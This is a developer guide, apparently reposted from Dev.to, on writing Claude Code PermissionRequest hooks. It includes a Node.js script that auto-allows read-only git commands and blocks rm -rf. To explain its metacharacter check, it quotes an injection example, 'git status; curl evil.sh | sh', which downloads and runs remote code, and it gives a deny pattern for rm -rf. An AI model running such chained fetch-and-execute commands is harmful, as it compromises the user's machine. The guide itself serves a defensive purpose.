Claude Code PermissionRequest hooks: answer "Allow this?" from your own code
Every Claude Code user knows the moment: Claude has done ten minutes of good work, then stops on Allow this? npm test and waits. Most hook guides cover PreToolUse, PostToolUse and Stop. The hook that runs at that exact moment is PermissionRequest, and it can answer the prompt for you, or hand it to

anything you like: a script, a chat bot, a window, your phone. This guide covers what Claude Code sends to the hook, what the hook can send back, a small working example, how Claude's multiple-choice questions (AskUserQuestion) use the same hook, and the mistakes I made building a real tool on it. PermissionRequest fires when Claude Code is about to show a permission prompt. If you already allowed a command in your settings, there is no prompt and no hook.
That makes it different from PreToolUse, which runs before every tool call: PermissionRequest only runs when a human would otherwise have to decide. Two things make it useful: The prompt still shows. In VS Code, Claude Code shows its own "Allow this?" while your hook runs. Whichever answers first wins.
So a hook that waits for an answer somewhere else does not take anything away from the normal prompt. The hook may wait. Its timeout (in seconds) can be long. A hook that waits for a tap on a phone for ten minutes is fine.
The hook gets one JSON object on stdin. The fields you will use: { "hook_event_name": "PermissionRequest", "session_id": "4f1c...", "cwd": "/home/me/project", "tool_name": "Bash", "tool_input": { "command": "npm test", "description": "Run the tests" }, "permission_suggestions": [ { "type": "addRules", "...": "..." } ] } tool_input depends on the tool: command for Bash/PowerShell, file_path for Write/Edit, url for WebFetch, query for WebSearch. permission_suggestions holds what Claude Code would save if you picked "Always allow". Print one JSON object to stdout: { "hookSpecificOutput": { "hookEventName": "PermissionRequest", "decision": { "behavior": "allow" } } } { "behavior": "allow" } is the same as clicking Allow.
{ "behavior": "allow", "updatedPermissions": <permission_suggestions> } is "Always allow": pass back the suggestions you were given. { "behavior": "deny", "message": "Not on main, please" } refuses, and Claude reads your message. Printing nothing and exiting 0 means "no opinion": the normal prompt stays and the person decides. That last point is the most important design rule: when in doubt, print nothing.
This hook allows read-only git commands, refuses rm -rf, and leaves everything else to you. Save it as ~/.claude/hooks/permission.js: // PermissionRequest hook: allow read-only git, deny rm -rf, stay quiet otherwise. let raw = ''; process.stdin.on('data', (c) => (raw += c)); process.stdin.on('end', () => { let call; try { call = JSON.parse(raw); } catch { return; } // bad input: no opinion if (call.tool_name !== 'Bash') return; const cmd = String((call.tool_input || {}).command || '').trim(); const reply = (decision) => process.stdout.write(JSON.stringify({ hookSpecificOutput: { hookEventName: 'PermissionRequest', decision }, })); if (/^git (status|log|diff|show|branch)\b/.test(cmd) && !/[;&|`$]/.test(cmd)) { return reply({ behavior: 'allow' }); } if (/\brm\s+-[a-z]*r[a-z]*f|\brm\s+-[a-z]*f[a-z]*r/i.test(cmd)) { return reply({ behavior: 'deny', message: 'rm -rf is blocked by my hook. Delete files one by one, or ask me.' }); } // anything else: print nothing, the normal prompt decides }); Then register it in ~/.claude/settings.json: { "hooks": { "PermissionRequest": [ { "matcher": "*", "hooks": [{ "type": "command", "command": "node ~/.claude/hooks/permission.js", "timeout": 30 }] } ] } } The check for ; & | $ and backticks matters: without it git status; curl evil.sh | sh would pass as "read-only git".
When Claude asks a multiple-choice question (the AskUserQuestion tool), Claude Code asks permission to show it, so PermissionRequest fires with tool_name: "AskUserQuestion" and the questions in tool_input.questions. The hook can answer the question itself by allowing the tool with the answers filled in: { "hookSpecificOutput": { "hookEventName": "PermissionRequest", "decision": { "behavior": "allow", "updatedInput": { "questions": [ ... ], "answers": { "Which database?": "SQLite" } } } } } Give a separate matcher ("AskUserQuestion") its own script if you want different handling for questions and for commands. I built Mirror for Claude on these hooks: it shows every Claude Code chat live and lets you answer "Allow this?" and Claude's questions from a mini window, a browser, a terminal or a phone.
These are the things that cost me the most time: Use PermissionRequest, not PreToolUse, for "ask somewhere else". A PreToolUse hook that waits for an answer runs before the prompt exists, so VS Code shows nothing while it waits. With PermissionRequest the prompt shows in VS Code and in your other place at the same time. Stay silent when nobody is watching.
My hook checks a heartbeat file that the player rewrites every second. If no player is open, it exits at once without printing, and Claude Code asks as usual. A hook that waits for a window that isn't open makes Claude look frozen. Notice when the prompt was answered elsewhere.
If you click Allow in VS Code, your hook is still waiting. Watch the session's record (the .jsonl file under ~/.claude/projects/) for the tool result and exit quietly when it appears, or the phone keeps showing a request that is already gone. One request at a time per chat, many chats at once. Several chats can ask together.
Give each request an id and keep them apart. Hide child windows on Windows. A hook that starts git or node from a detached process without windowsHide: true flashes a console window on every message. Never trust the text blindly.
A command can hide a second command after ;, &&, a pipe or $( ). Decide on the whole string. Start with the 20-line example above: it already saves you the read-only git prompts. If you want the whole thing (every chat live, Allow / Always allow / Deny and question answers from a window, browser, terminal or phone, finish alerts and a usage bar), Mirror for Claude is free for personal use and runs on plain Node with no dependencies: /plugin marketplace add viswa-jagadeesan-personal/mirror-for-claude /plugin install mirror-for-claude@mirror-for-claude or the zip from the website.
It's in beta and not affiliated with Anthropic, so bug reports are very welcome.
Key Takeaways
- โขThis guide covers what Claude Code sends to the hook, what the hook can send back, a small working example, how Claude's multiple-choice questions (AskUserQuestion) use the same hook, and the mistakes I made building a real tool on it.
- โขThis story was reported by Dev.to, covering developments in the dev space.
- โขAI advancements continue to reshape industries โ read the full article on Dev.to for complete coverage.
๐ Continue reading the full article:
Read Full Article on Dev.to โShare this article

![[Day 25/30] Content-Addressed SQLite WAL Caching for Deterministic Tool & Embedding Deduplication](https://media2.dev.to/dynamic/image/width=1200,height=627,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fnuwansaratharusha.github.io%2Fkofi-devto-autopilot%2Fart_plates%2Fday25.jpg)

